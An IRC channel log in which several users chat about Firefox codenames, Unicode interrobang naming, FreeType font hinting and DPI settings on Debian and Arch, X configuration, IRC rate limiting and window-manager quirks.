18:43:30 <elliott> 20:45:48 <elliott> Oh man, that's gonna be a mouthful in Linux title bars.
18:43:30 <elliott> 20:46:02 <elliott> Do you want to set your default browser to Tumucumaque?
18:43:39 * oerjan finds nothing good
18:44:52 <Vorpal> elliott, oh god, and I had to look at the entry in the task bar to be able to spell the current one
18:44:56 <Vorpal> that one is just insane
18:44:56 <elliott> 07:56:29 <Gregor> Still, my strapon pegging girls are so good at the deep poke.
18:44:56 <elliott> 07:56:35 <Gregor> >_>
18:44:56 <elliott> 07:56:41 <Gregor> DEEP poke.
18:44:57 <elliott> 07:56:46 <Gregor> Oh sorry, just thinking about something else.
18:44:57 <elliott> furry_furry_vorpal_sword_girls
18:44:58 <oerjan> next up: Quetzalcoatl
18:45:00 <pikhq> Phantom_Hoover: Wut?
18:45:05 <elliott> Vorpal: what, Namoroka?
18:45:08 <Vorpal> elliott, yes
18:45:13 <elliott> Namoroka is OK, Tumucumaque is... X-D
18:45:29 <elliott> Possibly the best argument for "Iceweasel" made yet.
18:45:32 <elliott> Or "Firefaux", hur hur.
18:45:34 <Vorpal> elliott, I can never remember where the o and r go. Well approximately where. Just not the exact order
18:45:37 <Phantom_Hoover> pikhq, you said it ages ago. About heaven being made of a giant golden cube.
18:45:37 <Vorpal> or the count
18:45:46 <pikhq> Phantom_Hoover: Wut‽
18:46:12 <ais523> I actually ilke the name "Iceweasel"
18:46:13 <Vorpal> pikhq, you what?
18:46:14 <oerjan> Earthmole
18:46:21 <ais523> pikhq: gah, I think my interrobang filter is broken
18:46:22 <oerjan> or maybe badger
18:46:25 <Phantom_Hoover> pikhq, date is 09.06.22.
18:46:40 <Vorpal> ais523, you still use that...?
18:46:47 <ais523> yep
18:46:51 <pikhq> ais523: And your gnaborretni filter?
18:46:54 <ais523> it's still there, but it seems not to be working
18:47:02 <ais523> pikhq: I don't filter out gnaborretnis
18:47:14 <pikhq> ⸘Olé‽
18:47:19 <Vorpal> ais523, interrobangs *does* have their uses. I think pikhq used it in a quite appropriate way.
18:47:53 <ais523> yep, but people use them annoyingly on IRC
18:47:54 * elliott watches Gregor get a program up from 7 points to 39.8 points in the logs
18:47:59 <ais523> and a question mark doesn't lose a whole lot of music
18:47:59 <Vorpal> pikhq, how strange. The "⸘" renders crisp for me but the "‽" is kind of blurry
18:48:05 <pikhq> Vorpal: Odd.
18:48:13 <Sgeo> ais523, ?!
18:48:16 <elliott> <ais523> yep, but people use them annoyingly on IRC
18:48:20 <elliott> people = PH
18:48:21 <Vorpal> pikhq, the blurry bit tends to mean missing hinting info in font
18:48:25 <elliott> He's stopped now though. He's REFORMED
18:48:29 <elliott> <Vorpal> pikhq, how strange. The "⸘" renders crisp for me but the "‽" is kind of blurry
18:48:29 <ais523> elliott: how's lance getting on?
18:48:31 <elliott> maybe one is falling back
18:48:45 <elliott> ais523: It's actually done, apart from one parser bug that I'm going to fix at the same time I integrate lance into report.c.
18:48:47 <elliott> Which will be soon.
18:48:55 <Vorpal> elliott, yes but since the current font is crisp and not blurry why the heck would it have ⸘ but not ‽
18:49:04 <ais523> good, there's a bug in defend9.75 I can't fix without killing egobot
18:49:08 <elliott> Vorpal: Maybe your current font doesn't have hinting info for obscure characters.
18:49:12 <Vorpal> elliott, that doesn't make much sense if we assume they aim for more common symbols before more uncommon ones
18:49:14 <elliott> But the fallback for the gnaborrejoweirotni does.
18:49:15 <oerjan> elliott: did you see my comment about making () optional around single characters?
18:49:15 <ais523> because it involves nesting %-based counters
18:49:23 <elliott> oerjan: yes, I disagree
18:49:27 <oerjan> bah :(
18:49:28 <elliott> (1) it'll be much harder to read
18:49:28 <Vorpal> elliott, well let me try gucharmap to figure out which font it will fallback on
18:49:31 <elliott> (2) it's harder to parse
18:49:33 <elliott> (3) it's uglier
18:49:41 <elliott> >*9+*4 <-- this is just a jumble at first glance
18:49:42 <elliott> compare
18:49:44 <elliott> (>)*9(+)*4
18:49:46 <Vorpal> elliott, do you happen to know where those symbols are?
18:49:52 <oerjan> elliott: hm maybe you are right
18:49:55 <elliott> Vorpal: You can search can't you?
18:50:00 <Sgeo> elliott, J is just a worse jumble at first glance
18:50:00 <oerjan> "I AM ALWAYS RIGHT"
18:50:01 <Vorpal> oh wait you can
18:50:02 <Vorpal> heh
18:50:03 <elliott> So just search for interrobang and gnaborretni
18:50:21 <elliott> ...to 44...
18:50:28 <elliott> Man ill_bet_you_have_four_decoys has had an eventful life :P
18:50:29 <elliott> \
18:50:31 <elliott> *no \
18:50:58 <Vorpal> elliott, strange... both are in Dejavu Sans Mono, which is the font this terminal is set to as well...
18:51:07 <Vorpal> I guess one is just missing hinting info then
18:51:11 <ais523> http://sprunge.us/RGTh <--- new version of esolangs.el, with BF Joust support
18:51:16 <pikhq> http://www.broadbandmap.gov/technology Map of broadband availability in the US.
18:51:33 <ais523> sprunge appears not to have elisp highlighting
18:51:36 * oerjan notes that (+)*4 is actually longer than its expansion
18:51:40 <Vorpal> <elliott> So just search for interrobang and gnaborretni <-- wait what... is that latter one actually the official unicode name for the codepoint?
18:51:45 <elliott> bah, perhaps Debian patches freetype
18:51:47 <pikhq> Yes, that is "any broadband at all".
18:51:49 <elliott> Vorpal: Yes.
18:51:53 <pikhq> Vorpal: Yes, it's GNABORRETNI.
18:51:55 <ais523> although there's a mention that the Scheme highlighter could probably be adapted
18:52:09 <Vorpal> actually no
18:52:14 <elliott> ais523: Who uses the highlighting links? :P
18:52:35 <ais523> I thought that name came from when someone stuck a stray right-to-left-override character into the Wikipedia article on punctuation
18:52:39 <ais523> elliott: I do
18:52:43 <ais523> it's semantically correct
18:52:51 <Vorpal> pikhq, elliott it is "U+2E18 INVERTED INTERROBANG = gnaborretni" according to gucharmap. I think the upper case one is the official name.
18:52:56 <elliott> ais523: what, sending elisp code as HTML that doesn't even copy right is semantically correct?
18:52:58 <elliott> I THINK NOT
18:53:00 <pikhq> Vorpal: Aaaaw.
18:53:12 <elliott> setting the content type to text/x-emacs-lisp so the viewer could handle it would of course be semantic
18:53:13 <ais523> elliott: there's a raw version too
18:53:15 <elliott> Vorpal: no it's not
18:53:18 <Vorpal> pikhq, I don't know where the bit after the = comes from.
18:53:22 <elliott> Vorpal: oh looks like it changed
18:53:27 <ais523> the highlighted version should probably be changed to have a link to it
18:53:29 <elliott> Vorpal: probably in 7.0
18:53:29 <pikhq> Vorpal: Probably an alias.
18:53:33 <Vorpal> pikhq, ah
18:53:34 <elliott> it was GNABORRETNI in 6
18:53:36 <elliott> trust me
18:53:39 <elliott> fileformat.info had it as the title
18:53:42 <elliott> which it no longer does
18:53:45 <pikhq> elliott: Unicode never ever changes the actual name of a codepoint.
18:53:45 <Vorpal> elliott, I'm going to check that though
18:53:51 <elliott> pikhq: Well, they did.
18:54:02 <elliott> It _was_ GNABORRETNI on http://www.fileformat.info/info/unicode/char/2e18/index.htm.
18:54:08 <pikhq> elliott: It may change the preferred way of referring to it, but the name does not change.
18:54:11 <Vorpal> elliott, is that the official source
18:54:23 <elliott> Vorpal: It's a very reliable source...
18:54:23 <pikhq> There are even permanent typos.
18:54:26 <elliott> just an import of the official data.
18:54:30 <Vorpal> also is the unicode standard open, semi-open or closed?
18:54:35 <pikhq> Vorpal: Open.
18:54:37 <elliott> Open.
18:54:39 <Vorpal> right.
18:54:42 <elliott> lol @ closed character set standard
18:54:48 <elliott> "What does this codepoint represent?" "Nobody knows."
18:55:02 <Vorpal> elliott, well I wouldn't put it past someone like IEEE to make you pay for such a standard
18:55:02 <Vorpal> :P
18:55:16 <Vorpal> elliott, of course everyone would know anyway, but for official source and such
18:55:33 <elliott> To hell with the IEEE.
18:55:43 <pikhq> Vorpal: http://www.unicode.org/versions/Unicode6.0.0/ Here's the official standard.
18:55:50 <elliott> Vorpal: I believe ISO 8601 is actually for-pay, if you can believe that.
18:55:50 <Vorpal> elliott, I mean, it is trivial to find C99 standard, but ISO (not IEEE in this case) still charges you for it
18:55:50 <elliott> pikhq: WRONG
18:55:53 <elliott> 7.0 is the official standard
18:55:58 <elliott> and probably what changed it
18:56:24 <pikhq> elliott: Not my fault that the Unicode Consortium hasn't published 7.0.
18:56:26 <Vorpal> elliott, ISO 8601... Lets see which one is that. I can't say I'm good at memorizing numbers...
18:56:32 <elliott> They haven't?
18:56:39 <pikhq> elliott: Uh, 7.0 isn't the latest official standard.
18:56:46 <pikhq> elliott: 6.0 came out October 2010.
18:56:52 <elliott> Thought it was X-D
18:56:56 <elliott> Well, it was GNABORRETNI in 5 then.
18:56:57 <pikhq> 7.0 is the current WIP.
18:57:08 <pikhq> Well, either that or a minor revision.
18:57:52 <Vorpal> elliott, linked from the link you gave me under code charts: http://www.unicode.org/charts/PDF/U2E00.pdf
18:58:05 <elliott> Vorpal: Yah, now look at 5.0.
18:58:08 <Vorpal> observe:
18:58:10 <Vorpal> INVERTED INTERROBANG
18:58:10 <Vorpal> = gnaborretni
18:58:10 <Vorpal> → 203D ‽ interrobang
18:58:11 <elliott> Kthx
18:58:11 <Vorpal> yeah
18:58:13 <elliott> <elliott> Vorpal: Yah, now look at 5.0.
18:58:14 <elliott> <elliott> Kthx
18:58:17 <Vorpal> elliott, link?
18:58:22 <elliott> no u
18:58:28 <elliott> pikhq can find it or something
18:59:18 <oerjan> `addquote <elliott> lol @ closed character set standard <elliott> "What does this codepoint represent?" "Nobody knows."
18:59:24 <Vorpal> elliott, this link goes to a single pdf file. The link title reads: Archival Code Charts (5.0.0, 33 MB)
18:59:29 <Vorpal> no I'm not going to check
18:59:34 <elliott> 33 megabytes? Oh lawd!!!
18:59:37 <elliott> That's IMPOSSIBLE to load!
18:59:42 <elliott> It would take like ... a minute!
19:00:05 <HackEgo> 313) <elliott> lol @ closed character set standard <elliott> "What does this codepoint represent?" "Nobody knows."
19:00:40 <Vorpal> elliott, no but I'm scared of what my pdf reader might do after what it did when searching through IEEE 1003.1-2010
19:00:48 <elliott> Vorpal: Evince.
19:00:54 <Vorpal> elliott, yes indeed evince
19:00:54 <elliott> Handles huge PDFs perfectly :P
19:01:03 <Vorpal> elliott, this was a while ago though
19:01:07 <Vorpal> like, half a year
19:01:15 <elliott> It searches incrementally at least now...
19:01:41 <elliott> Argh, yep, Debian MUST patch freetype.
19:01:47 <Vorpal> also I typoed that date above
19:01:51 <Vorpal> should be 2008 of course
19:01:55 <Vorpal> there is no 2010 version
19:02:01 <elliott> Of what
19:02:04 <elliott> Oh
19:02:09 <Vorpal> elliott, IEEE 1003.1
19:02:13 <Vorpal> elliott, aka POSIX
19:02:34 <Vorpal> <elliott> Argh, yep, Debian MUST patch freetype. <-- hm?
19:02:45 <Vorpal> just check what patches it uses
19:02:54 <elliott> Vorpal: Because it loosk totally different to this Arch freetype :-P
19:03:27 <Vorpal> elliott, I can't say I notice a difference between my ubuntu and my arch system... Probably just different settings in /etc/fontconfig or such
19:03:40 <Vorpal> err /etc/fonts it seems
19:03:55 <quintopia> Vorpal: since when did i say i hated shudder?
19:03:55 <elliott> Vorpal: It isn't, I've already tweaked those. The hinting is different.
19:04:16 <elliott> In Debian, e.g. "o" in full-greyscale-hinted DejaVu Sans is sharp; in Arch, it has some blur on the inside.
19:04:26 <elliott> Inside of "d" too.
19:04:27 <elliott> Well, that's the most noticeable difference.
19:04:46 <Vorpal> elliott, checking abs it seems that arch patches it's freetype.
19:04:55 <elliott> Vorpal: *its
19:04:57 <Vorpal> haven't checked what those do yet
19:04:58 <Vorpal> $ ls /var/abs/extra/freetype2/
19:04:59 <Vorpal> PKGBUILD freetype-2.2.1-enable-valid.patch freetype-2.3.0-enable-spr.patch
19:05:05 <elliott> Vorpal: I thought it was meant to be LINUX WITH A PACKAGE MANAGER ZOMG
19:05:09 <elliott> ONLY PATCHES WHEN ABSOLUTELY NEEDED
19:05:24 <pikhq> Maybe Arch enables the "proper" hinter, and DejaVu Sans isn't hinted?
19:05:45 <Vorpal> elliott, indeed. In total it patches 3 lines
19:05:53 <pikhq> (I'm pretty sure that Debian's packages aren't young enough to have the proper hinter from upstream yet.)
19:05:58 <Vorpal> one in a .h file and two in a modules.cfg
19:05:59 <pikhq> (the patent on it expired last year)
19:05:59 <elliott> pikhq: Debian has the proper hinter.
19:06:02 <elliott> pikhq: DejaVu Sans is very much hinted.
19:06:06 <pikhq> elliott: Bizarre.
19:06:11 <elliott> Nobody's used the autohinter in years.
19:06:12 <elliott> :P
19:06:25 <Vorpal> elliott, also that is somewhat an exaggeration. It would be true however to say that it patches *much* less than most other distros I used.
19:06:26 <elliott> Vorpal: Hmm.
19:07:01 <pikhq> elliott: Wrong.
19:07:03 <Vorpal> <elliott> pikhq: DejaVu Sans is very much hinted. <-- except for the ‽... No I don't know why
19:07:19 <elliott> pikhq: Not wrong.
19:07:19 <pikhq> elliott: Using anything but the autohinter was illegal in the US until a few months ago.
19:07:27 <elliott> pikhq: Debian don't give a shit.
19:07:33 <elliott> I know the autohinter when I see it. Debian have not used it in a long time.
19:07:36 <elliott> (I know it because it looks like SHIT.)
19:07:43 <pikhq> elliott: Could've sworn they did.
19:08:00 <Vorpal> elliott, anyway http://sprunge.us/MMaj
19:08:10 <pikhq> Hmm. On the other hand, they've had MP3 stuff in for a while, and MP3's still patented.
19:08:17 <Vorpal> elliott, I don't have the energy to figure out what those changes do
19:08:24 <elliott> Vorpal: Not much it seems.
19:08:29 <pikhq> Perhaps they just went "Screw you, US, and your crazy shit."
19:08:38 <elliott> pikhq: Well, MP3 is in non-free, I doubt freetype was in non-free X-D
19:08:42 <Vorpal> elliott, and it just calls ./configure --prefix=/usr
19:08:46 <Vorpal> elliott, no other fancy parameters
19:08:48 <elliott> (at least i think mp3 is in non-free)
19:08:49 <elliott> Vorpal: Hmm.
19:09:08 <elliott> This calls for Investigation.
19:09:59 <Vorpal> elliott, even if debian patches it could easily just be a case of configuration. I have no idea where /etc/fonts config file stuff is documented but from some looking at it, it seems rather flexible
19:10:17 <Vorpal> elliott, also xml sadly
19:10:27 <elliott> Yes, it is XML.
19:10:57 <elliott> ARGH POINTER ACCELERATION WHY DO YOU EXIST
19:11:02 <elliott> Who thought pointer acceleration was a good idea.
19:11:08 <Vorpal> elliott, I know you will hate this for your ~/.fonts.conf but this is what I use. You could easily change the values in it though to suite what you need. http://sprunge.us/VegX
19:11:11 <olsner> elliott: I put it in there to annoy you
19:11:14 <olsner> HA ha
19:11:16 <elliott> Vorpal: *suit
19:11:24 <Vorpal> elliott, ah indeed
19:11:30 <elliott> Vorpal: All those settings there can be configuredw ith the GNOME fonts preferences :P
19:11:32 <elliott> *configured with
19:11:40 <elliott> There are far more in-depth options and those are what probably differ here.
19:11:46 <Vorpal> elliott, I had problems with firefox not giving a shit about gnome settings fairly recently
19:11:46 <elliott> Or Debian patches.
19:11:53 <Vorpal> half a year ago or so I think
19:12:00 <elliott> Vorpal: Remove your local font config if that happens. I think they conflict or something
19:12:08 <elliott> Also check against "xrdb -query"
19:12:17 <Vorpal> elliott, *adding* that .fonts.conf was what solved the firefox issue
19:12:44 <Vorpal> elliott, since it now works I'm not sure I see the point of removing it. Not mending what isn't broken and so on...
19:13:31 -!- elliott_ has joined.
19:13:37 <elliott_> IRCING FROM INSIDE A VM
19:13:50 <Vorpal> elliott, also that tells me I have 86 dpi (no I measured and it is off, it is 96±2) and I want antialias, hinting, full hinting and no subpixel stuff
19:13:56 <Vorpal> xrdb -query that is
19:14:06 <elliott_> Fix the DPI setting then
19:14:21 <Vorpal> elliott_, hm same command I gues
19:14:22 <Vorpal> guess*
19:14:29 <elliott_> Vorpal: Or just use GNOME
19:14:39 <Vorpal> elliott_, whereabouts in gnome?
19:14:45 <elliott_> Same place you set other font shit
19:14:54 <elliott_> Now to figure out whether Debian patched freetype or fontconfig
19:14:57 <Vorpal> elliott_, shouldn't DPI be in "monitors"
19:15:07 <elliott_> No, because it only affects fonts.
19:15:25 <Vorpal> elliott_, but what if you have a dual head setup where DPI differs between the monitors....
19:15:35 <elliott_> You're fucked; that's not GNOME's fault.
19:15:46 <elliott_> (fizzie can tell you about his fun trying to have RGB subpixel on one monitor and VRGB on another.)
19:16:01 <Vorpal> elliott_, yes I know that
19:16:11 <Vorpal> elliott_, but DPI is not quite the same as different subpixel order
19:16:29 * elliott_ gawps at Debian's freetype patches
19:16:31 <elliott_> TOOOO MANY
19:16:41 <Vorpal> elliott_, also dpi affects gimp if you turn off "pixel by pixel" mode or whatever it is called
19:16:45 <Vorpal> so you are technically wrong
19:16:50 <elliott_> I doubt it looks at the fontconfig DPI
19:16:50 <Vorpal> elliott_, how many?
19:16:52 <elliott_> Really doubt
19:16:52 <Vorpal> elliott_, 10?
19:16:58 <elliott_> Vorpal: Too many to look at X-P
19:17:08 <elliott_> "Namoroka will try to restore your tabs and windows when it restarts."
19:17:10 <Vorpal> elliott_, yes why don't *both* get it from the X server
19:17:11 <elliott_> WHY ARE YOU EVEN TELLING ME THAT
19:17:11 <elliott_> JUST DO IT
19:17:20 <elliott_> THERE IS NO POINT TO INFORMING ME OF THAT FACT
19:17:23 <Vorpal> elliott_, it crashed?
19:17:25 <elliott_> No.
19:17:27 <elliott_> I installed an extension.
19:17:34 <Vorpal> elliott_, which one?
19:17:38 <Vorpal> oh
19:17:39 <elliott_> Any.
19:17:43 <Vorpal> ah
19:17:45 <Phantom_Hoover> Back.
19:17:48 <elliott_> If you're trying to convince wary people that it's OK to restart, you won't lose anything, then it fails,
19:17:54 <elliott_> because you have to click "Restart Namoroka" to see that dialogue.
19:18:12 <Vorpal> elliott_, anyway it could be hard to restore if you are in a stateful page. like one you got from a POST query
19:18:22 <elliott_> Yeah yeah :P
19:18:28 <elliott_> (Note: HTTP is stateless)
19:18:35 <Vorpal> elliott_, and knowing how people misuse GET anything with a ? might possibly be dangerous as well
19:18:48 <elliott_> I wonder if Medium and Full hinting have EVER done anything different to each other.
19:18:53 <Vorpal> elliott_, well yes. But that isn't how it is used sadly.
19:18:55 <elliott_> They have been identical in every configuration I have tried.
19:19:19 <Vorpal> elliott_, I noticed a difference I know
19:19:23 <Vorpal> maybe it depends on other options
19:19:26 <Vorpal> such as subpixel
19:19:27 <Vorpal> or whatever
19:21:11 <Vorpal> elliott_, in this they look different http://ompldr.org/vN2d4NA
19:21:24 <Vorpal> based on the previews or whatever
19:22:01 <elliott_> And now to solve the eternal problem of "Firefox, dude, why are you making fonts tiny".
19:22:16 <elliott_> Based on the previews.
19:22:21 <elliott_> The difference never shows up in practice.
19:22:36 <Vorpal> elliott_, hm.
19:23:00 <elliott_> $ xdpyinfo | grep resolution
19:23:09 <Ilari> Minimal subsequence subset of powers of 3 in base 10: 1, 3, 9, 27, .... (next is >3^1000)
19:23:50 <Vorpal> resolution: 90x88 dots per inch
19:23:53 <Vorpal> wait what
19:23:58 <Vorpal> it is wrong. I measured :P
19:24:09 <Vorpal> and I have square pixels as far as I can tell
19:24:50 * Phantom_Hoover was told to Google http://en.wikipedia.org/wiki/Me%C4%91ugorje
19:24:50 <Vorpal> Ilari, hm?
19:24:59 <Phantom_Hoover> It's quite hilarious.
19:25:08 <Vorpal> Phantom_Hoover, you were told to google an url?
19:25:12 <Vorpal> how weird
19:25:25 <Phantom_Hoover> Vorpal, no, I just linked it to save time.
19:25:29 <ais523> I sometimes use Google to find backlinks for an URL, to decide whether to click on it or not
19:25:30 <Vorpal> ah
19:25:35 <Vorpal> Phantom_Hoover, not quite as hilarious then
19:25:50 <Phantom_Hoover> Anyway, the Vatican apparently has investigative committees.
19:26:03 <Ilari> For powers of 7 in base 10 I get 1, 7, 49, 343, ... (>7^1000)
19:26:25 <elliott_> resolution: 97x97 dots per inch
19:26:25 <elliott_> I specifically configured 96, you stupid machine.
19:26:25 <elliott_> Bleh, all this does is make me want Kitten more.
19:26:25 <elliott_> I wonder what a good solver would be for a package manager to use.
19:26:31 <elliott_> holy shit flood!
19:26:54 <elliott_> I must be lagging
19:26:56 <Vorpal> elliott_, well to tell the truth I haven't configured X to specific one
19:27:05 <elliott_> someone ping me right now
19:27:07 <elliott_> as soon as you see this
19:27:08 <elliott_> mention my name
19:27:11 <ais523> elliott_:
19:27:11 <Vorpal> elliott_, yes... "<elliott_> $ xdpyinfo | grep resolution" to "<elliott_> resolution: 97x97 dots per inch" took a couple of minutes
19:27:13 <Vorpal> elliott_, saw it
19:27:14 <elliott_> hmm
19:27:15 <elliott_> ok
19:27:17 <elliott_> i'm synched up now
19:27:29 <ais523> sorry, that wasn't quite instant because I don't have a perfect reaction time
19:27:31 <Vorpal> elliott_, you were spaced out for about 3 minutes
19:27:46 <elliott_> ais523: UNACCEPTABLE
19:28:24 <Vorpal> <Phantom_Hoover> Anyway, the Vatican apparently has investigative committees. <-- eh?
19:28:26 <elliott_> Maybe I could use Yices X-D
19:28:39 <Vorpal> elliott_, by the way where did you configure X to use 96x96
19:28:46 <elliott_> Vorpal: well, gnome.
19:28:47 <Ilari> For powers of 13 in base 10: 1, 4826809, 3937376385699289, >13^1000
19:28:48 <Vorpal> elliott_, it wouldn't be font settings I presume
19:28:54 <Phantom_Hoover> Vorpal, they have committees. To investigate things.
19:29:01 <Ilari> Oops, 1, 4826809, 3937376385699289, >13^2000
19:29:03 <Vorpal> elliott_, I doubt that will help much. And with X who knows where stuff are nowdays
19:29:07 <Phantom_Hoover> Like whether visions are true and stuff.
19:29:18 <elliott_> xorg.conf.d THIS LOOKS LIKE FUN
19:29:20 <Vorpal> elliott_, once upon a time we had xorg.conf (and other names before that) and it was easy to find
19:29:22 <Phantom_Hoover> [[In March 2010, the Holy See announced that the Congregation for the Doctrine of the Faith was forming an investigative commission, composed of bishops, theologians, and other experts, under the leadership of Cardinal Camillo Ruini, the Pope's former Vicar General for the Diocese of Rome. The Commission is expected to report any findings to the Congregation, which has responsibility for any possible judgment on the case
19:29:23 <Phantom_Hoover> .[11]]]
19:29:24 <elliott_> hate Linux. hate hate hate.
19:29:33 <Phantom_Hoover> Erm. Does that count as flooding?
19:29:35 <elliott_> i used to think that there could be nothing worse than xorg.conf
19:29:39 <elliott_> BUT YOU GUYS TOOK THAT AS A CHALLENGE
19:29:44 <elliott_> Phantom_Hoover: FLOODING OF A WHOLE TWO LINES
19:29:53 <Phantom_Hoover> ONE OF THEM IS REALLY LONG
19:29:55 <elliott_> (says the guy who's flooded the entire funge-98 spec)
19:30:08 <ais523> wait, someone posted the whole funge-98 spec in-channel?
19:30:15 <ais523> and freenode didn't stop it somehow?
19:30:16 <elliott_> ais523: That's what communal readings are!
19:30:21 <elliott_> It was before throttling.
19:30:22 <Vorpal> elliott_, but then came HAL and destroyed it all. And After HAL was brought down came the strangeness of the current config format that no one seems to understand particularly well.
19:30:25 <elliott_> Throttling came with the new ircd.
19:30:27 -!- asiekierka has quit (Ping timeout: 272 seconds).
19:30:35 <Vorpal> I'm certainly all confused by it
19:30:57 <elliott_> ais523: It was after Quadrescence had been persistently trolling for near a whole day with no signs of stopping :P
19:31:16 <elliott_> I think I adequately conveyed the original coherency of the spec.
19:31:18 <ais523> and that makes it alright?
19:31:20 <elliott_> especially because some parts got duplicated.
19:31:34 <elliott_> ais523: Hey, I totally had cpressey's approval.
19:31:38 <elliott_> That's like a presidential pardon.
19:31:40 <Vorpal> elliott_, the old ircd rate limited as well
19:31:41 <Sgeo> I think I was yelling at elliott_
19:31:41 <elliott_> Except not from the president.
19:31:46 <elliott_> Vorpal: Rate limited but did not drop messages.
19:31:50 <Vorpal> elliott_, in fact more than the current one sometimes.
19:31:53 <Vorpal> elliott_, the new one what?
19:31:57 <elliott_> The new one drops messages.
19:31:59 <Sgeo> I think I was the only one doing that
19:32:01 <elliott_> If you go too fast.
19:32:07 <elliott_> This is intensely annoying.
19:32:13 <Vorpal> elliott_, ... what that breaks the protocol spec
19:32:28 <Vorpal> elliott_, are you *sure* it just isn't some bug?
19:32:29 <elliott_> Vorpal: It tells you (see server tab) if it does it. but it's really annoying.
19:32:39 <Vorpal> elliott_, even so it breaks the spec.
19:32:39 <elliott_> I keep having to number my lines and saying "EOF" after long pastes.
19:32:49 <elliott_> $ l
19:32:49 <elliott_> bash: l: command not found
19:32:49 <elliott_> $ l
19:32:49 <elliott_> bash: l: command not found
19:32:49 <elliott_> $ ll
19:32:50 <elliott_> bash: ll: command not found
19:32:52 <elliott_> $ l
19:32:53 <Ilari> Heh. If I activated commit notifications from one project to another IRC channel, unless cia.vc bots omit notifications if there are too many, it would trigger notification flood lasting for about 3.5 minutes (assuming cia.vc bots won't flood themselves out).
19:32:54 <elliott_> bash: l: command not found
19:32:56 <elliott_> $ l
19:33:05 <elliott_> bash: l: command not found
19:33:05 <elliott_> darn
19:33:05 <elliott_> that didn't trigger it
19:33:05 <elliott_> I was trying to get the message to show
19:33:10 <Phantom_Hoover> elliott_, incidentally, you can't pick on me for interrobangs, Mr. Unicode Ellipses.
19:33:25 <elliott_> When was the last time I used a Unicode ellipse :P
19:33:25 <oerjan> <elliott_> IRCING FROM INSIDE A VM <-- OMG THAT MEANS YOU'RE A SIMULATED BEING!
19:33:27 <elliott_> *ellipsis
19:33:31 <elliott_> oerjan: DUUUUUUDE
19:33:40 <Vorpal> Ilari, how do you figure? It doesn't send out old ones from before activating afaik
19:34:01 <Vorpal> Ilari, also it limits how many lines of a commit message it includes
19:34:36 <elliott_> Rapid commit frequency presumably
19:34:39 <Ilari> Well, it would resume where it left off (had notifications another way but they broke). And there are 108 commits after that.
19:34:53 <elliott_> Gahh, pacman is the worst.
19:34:54 <Vorpal> Ilari, are you sure?
19:35:01 <Vorpal> elliott_, btw why are you interested in arch atm?
19:35:10 <elliott_> Vorpal: I'm installing things in VMs :-P
19:35:18 <Vorpal> elliott_, also pacman isn't too bad. Not the best package manager no. But there are far worse
19:35:26 <Vorpal> elliott_, I'd say the one in sourcemage for example
19:35:28 <elliott_> Maybe if pacman installed from AUR I'd hate it less
19:35:31 <Vorpal> that one is just laughable
19:35:37 <elliott_> Vorpal: Debian irritated me to hell when both testing and sid wouldn't install properly into this VM :P
19:35:45 <elliott_> Also Debian's GNOME has more shit than I want.
19:35:45 <Ilari> Well, I set up repository for that that way (right now it contains commits that were before annoucements or after annoucements broke). But haven't enabled annoucements yet.
19:35:45 <oerjan> <Ilari> Minimal subsequence subset of powers of 3 in base 10: 1, 3, 9, 27, .... (next is >3^1000) <-- yay, alas that probably means finding out there are no more is yet another possibly unsolvable problem...
19:35:52 <elliott_> I would go with Xfce, but xfwm has deal-breaker bugs for me.
19:36:05 <elliott_> oerjan: BUT IS MATHEMATICS READY FOR IT
19:36:06 <Vorpal> elliott_, I find that GNOME's GNOME has more shit than I want these days
19:36:19 <elliott_> Vorpal: Yeah yeah, but it's acceptable.
19:36:27 <Vorpal> elliott_, because it is upstream?
19:36:31 <elliott_> No.
19:36:36 <elliott_> Just because it's not too bad :P
19:36:36 <Vorpal> then why
19:36:48 <elliott_> And as I said, Xfce has deal-breaker bugs.
19:36:51 <Vorpal> elliott_, you could just hand pick which packages from gnome you want though
19:36:59 <elliott_> That's a pain in the arse for little gain.
19:37:03 <Vorpal> elliott_, examples of such bugs?
19:37:14 <elliott_> Vorpal: The main one is that scrolling a window in xfwm focuses and raises it.
19:37:30 <Vorpal> elliott_, hm surely you could patch away that
19:37:31 <elliott_> Which differs from the behaviour of Windows, OS X, metacity, whatever KDE calls its WM these days, openbox, ..., everything, ...
19:37:44 <elliott_> Vorpal: Probably, but it doesn't exactly inspire confidence in their attention to detail.
19:37:51 <Vorpal> elliott_, I'm pretty sure twm would do that sort of stuff.
19:38:06 <elliott_> Oh, twm, great thing to look up to :P
19:38:12 <Vorpal> elliott_, or they just don't like the way everyone else does it
19:38:34 <elliott_> Well, it could at least be an option, because scrolling raising a window is damn irritating.
19:38:38 <Vorpal> elliott_, not saying I think it is good, but the maintainer might like it...
19:38:50 <elliott_> I scroll webpages in the background all the time when on IRC :P
19:39:03 <Vorpal> elliott_, same as we got stuck with silly bold font for bold in konsole in kde 4
19:39:07 <elliott_> Vorpal: Then that's a deal-breaker design decision :P
19:39:20 <elliott_> Ah yes, bold monospaced fonts. AKA: "The stupidest idea."
19:39:27 <Vorpal> elliott_, kde 3 had good taste to have an option to make it mean brighter colour instead
19:39:30 <Vorpal> like everyone sane does it
19:39:38 <Vorpal> elliott_, not that gnome terminal is any better here
19:40:05 <elliott_> Only perverse programs send bold anyway
19:40:45 <Ilari> Then there is this classical problem: Is there period hailstone sequence (starting from positive number) can enter that isn't 1,4,2? Is there hailstone sequence (again starting from positive number) that isn't bounded?
19:40:54 <oerjan> <elliott_> oerjan: BUT IS MATHEMATICS READY FOR IT <- um that was sort of the point
19:41:01 <elliott_> oerjan: shaddap
19:41:09 <Vorpal> <elliott_> Only perverse programs send bold anyway <-- err, wait what?
19:41:16 <elliott_> Vorpal: ?
19:41:17 <Vorpal> it is commonly used as intensity change
19:41:21 <elliott_> By what?
19:41:33 <Vorpal> elliott_, $PS1 commonly
19:41:42 <Vorpal> elliott_, anyway that is how your vts will render it
19:41:48 <elliott_> Fancy PS1s are gross.
19:41:53 <Vorpal> elliott_, try echo -e '\e[1mfoo\e[0mbar'
19:42:07 <elliott_> I know what it does.
19:42:07 <Vorpal> elliott_, I like coloured one, make it easier to see in a mass of grey text output
19:42:11 <elliott_> But no program sends it.
19:42:18 <elliott_> Except for like vim, and you can disable that.
19:42:30 <Vorpal> elliott_, pretty sure emacs does too
19:42:43 <Vorpal> possibly some ncurses stuff too
19:43:27 <elliott_> OK, so if this system wasn't Arch, I probably wouldn't mind this setup. Probably. Argh, I hate computers.
19:43:33 <elliott_> Maybe I'll just use Windows 95. Forever.
19:43:48 <elliott_> Wonder if GHC would run on it.
19:45:41 <Phantom_Hoover> Why Windows 95?
19:46:10 <elliott_> Phantom_Hoover: Because nobody can fuck up Windows 95 in the next update.
